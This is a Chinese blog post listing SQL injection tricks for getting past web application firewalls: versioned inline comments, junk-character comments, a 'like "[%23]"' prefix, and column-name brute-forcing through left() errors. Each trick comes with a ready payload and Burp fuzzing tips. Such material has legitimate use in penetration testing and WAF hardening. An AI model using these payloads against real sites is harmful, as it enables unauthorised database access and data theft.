【WAF剖析】——sql注入之奇淫巧技bypass(持续更新中)
作者名:Demo不是emo
主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构每日emo:想把世上所有的情话都说给你听
SQL注入bypass一直是个技术活,技巧也非常多,但有些技巧不是一直都好用的,所以写下这篇博客来记录我自己认为的平时比较好用的bypass技巧,都是经过了实战渗透检测的,目前内容较少,会实时更新,建议收藏
目录
一:内联注释
二:魔法注释
三:like "[%23]"
四:截取函数报字段技巧(2022.11.26)
一:内联注释
适用环境:某个函数被识别造成拦截后
格式:/*![五位数字版本号] [原函数]*/
实例:
原: -1 ' union select 1,database(),3 %23情景一:union函数被识别,遭到WAF拦截,需过滤函数防过滤:-1 ' /*!12345union*/ select 1,database(),3 %23
注意:其中的12345是版本号,并不一定是12345,但肯定是五位数字,所以通常都是使用burp批量跑五位数字的字典,最后成功bypass
二:魔法注释
适用环境:某个位置的空格或者带有括号的函数被识别引起过滤
格式:/*[特殊字符构成的字符串]*/
实例:
原: -1 ' union select 1,database(),3 %23情景一:union和select之间的空格需要做防过滤防过滤:-1 ' union/*--+*/select 1,database(),3 %23情景二:database()函数被识别,需要过滤放过滤: -1 ' union select 1,database/*//-*/(),3 %23
同样的道理,这里的/*和*/中间的特殊字符串也不是固定的,直接用特殊字符生成字典,再burp批量跑即可
三:like "[%23]"
这是目前比较新的一种过滤方式,也成为很多自写防护规则网站的突破口
格式 like "[%23]"
适用:这个倒是没有什么适用的环境,总之就是迷惑性很强,会将前面的内容识别为空,再将攻击语句放在后面即可,
在平时的sql注入时,加单引号没问题就直接放弃了?不妨试试这个方法
实例
原: 1 ' union select 1,database(),3 %23防过滤:1 like "[%23]" union select 1,database(),3 %23
四:截取函数报字段技巧(2022.11.26)
left(参数1,参数2)函数,功能是从参数1字符串的左侧向右取参数2个字符,但是需要注意的是,参数1的值是字符串,大家肯定会第一时间想到形如"xxxxx"的字符串,但是别忘了,字段名也属于字符串
来看一段简单的命令
select * from users where id = 1 and left("abcd",1)='a'
这个命令都能理解吧,那我们将abcd的引号去掉再来看看,如下
嗯?为什么会提示没有abcd这个字段吗?它为什么会被识别成字段呢?别急,听我好好跟你讲讲
上面这个语句,是在users表里取id等于1的数据,此时and后面的逻辑判断语句当然被认为也是一个处理数据的限制条件,并且left()函数的参数1必须是字符串,也就是abcd必须是字符串,但是abcd又没有引号,他就会认为abcd是一个量,而且现在是在表中取数据,他就会认为该语句仍然是对字段进行处理,就把abcd当做字段来处理了,所以就出现了不存在这个字段的报错
在目标对敏感字限制得很严但是又没过滤left函数时,就可以做一个字段名的字典,对目标的字段名进行批量爆破,没出现这个报错就是该字段存在,这也是一种很好用的方法
right()函数, substr()函数均可,原理也相同,应该还有很多其他的函数,只要参数涉及到字符串都可以,后期我会再整理一下
【WAF剖析】——sql注入之奇淫巧技bypass(持续更新中)相关推荐
- 漏洞挖掘中的各种奇淫技巧(持续更新...)
漏洞 URL跳转漏洞 挖洞技巧:如何绕过URL限制 URL跳转漏洞学习 URL重定向漏洞解析 支付漏洞 挖洞技巧:支付漏洞之总结 SRC众测挖洞之支付逻辑漏洞的奇淫技巧 验证码类 挖洞技巧:绕过短信& ...
- JS高端奇淫技巧(持续更新)
众所周知, JavaScript是一门很骚的语言, 写一句话有很多种表达方式, 语法怪异而风骚, 自由而散漫, 或许这就是JS成为最流行语言的原因吧. 本文收集了JS开发中常用的各种奇淫技巧, 一句话 ...
- JavaScript:利用JavaScript实现的功能、算法和奇淫技巧(持续更新)
1.JavaScript:输入日期获得从该日期开始的一个月时间 function getNextMonth(time) {var arr = time.split(/-|\//),year = arr ...
- 开发奇淫巧技Tips(Android篇)
没事会记录下开发的奇淫巧技,每个tips前都会标明开发语言,有更多更好的奇淫巧技可以发评论或者私聊,可以添加进来 1.Kotlin:View调用此方法传入url加载网络图片,如果是ImageView则 ...
- 多行文本注视 php,多行文本进行截断的奇淫巧技
本篇文章给大家带来的内容是关于多行文本进行截断的奇淫巧技,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助. 单行文字的截断非常简单,但是多行文字的截断可谓是非常头疼,刚学css时候就为了 ...
- asa防火墙升级固件_奇淫巧技 | 在路由器中添加策略,阻止电视系统升级
上一篇文章「长虹智能电视刷机降级,实现U盘安装第三方应用」中提到系统升级后会出现无法随意安装第三方应用的情况,当完成刷机后为了避免系统自动更新,你需要通过路由器阻止系统更新. 用openwrt类路由器 ...
- idea new对象后自动补全_IDEA的quot;奇淫巧技quot;
本期吉大浪潮俱乐部给大家带来了IDEA的快捷键用法总结.废话不多说,让我们赶紧开始吧!!! IDEA的奇淫巧技 前言 奇淫巧技是第一生产力 -鲁迅 玩笑归玩笑,掌握IDEA的常用功能,不仅能提高开发效 ...
- [asp.net mvc 奇淫巧技] 04 - 你真的会用Action的模型绑定吗?
在QQ群或者一些程序的交流平台,经常会有人问:我怎么传一个数组在Action中接收.我传的数组为什么Action的model中接收不到.或者我在ajax的data中设置了一些数组,为什么后台还是接收不 ...
- 奇淫巧技的KMP算法--详解
奇淫巧技的KMP算法–详解 花了一下午时间,看了十几个博客,终于拿下了KMP高地,现在总结下下自己对KMP的理解和实现. 情景1 假如你是一名生物学家,现在,你的面前有两段 DNA 序列 S 和 T, ...
最新文章
- Bzoj4558 [JLoi2016]方
- PRML是模式识别和机器学习领域的经典著作
- oauth2和jwt学习资料
- Json and Go
- aop简介-aop相关概念
- mysql root密码忘记2018_2018-03-28设置及修改mysql用户密码学习笔记
- WinPcap笔记(4):打开适配器并捕获数据包
- 排序——奖学金(洛谷 P1093)
- 漫谈 Clustering (番外篇): Expectation Maximization
- Android Performance之开机优化(1)-开机启动优化工具
- 1104报表背景知识
- IMU与GPS传感器ESKF融合定位(转载)
- layui官方文档镜像站
- 牛客网算法课程优惠码
- vue中使用tinymce富文本
- 计算机中的科学计数法
- 文科生参加计算机竞赛,文科生有保送的吗??
- java通过密保找回密码_如何进入非密码保护的Java密钥库或更改密码?
- 架构整洁之道(三)-解耦合与复用
- 学习笔记之软件测试4:CSDN账号密码登陆自动化测试实现(Selenium+Unitest)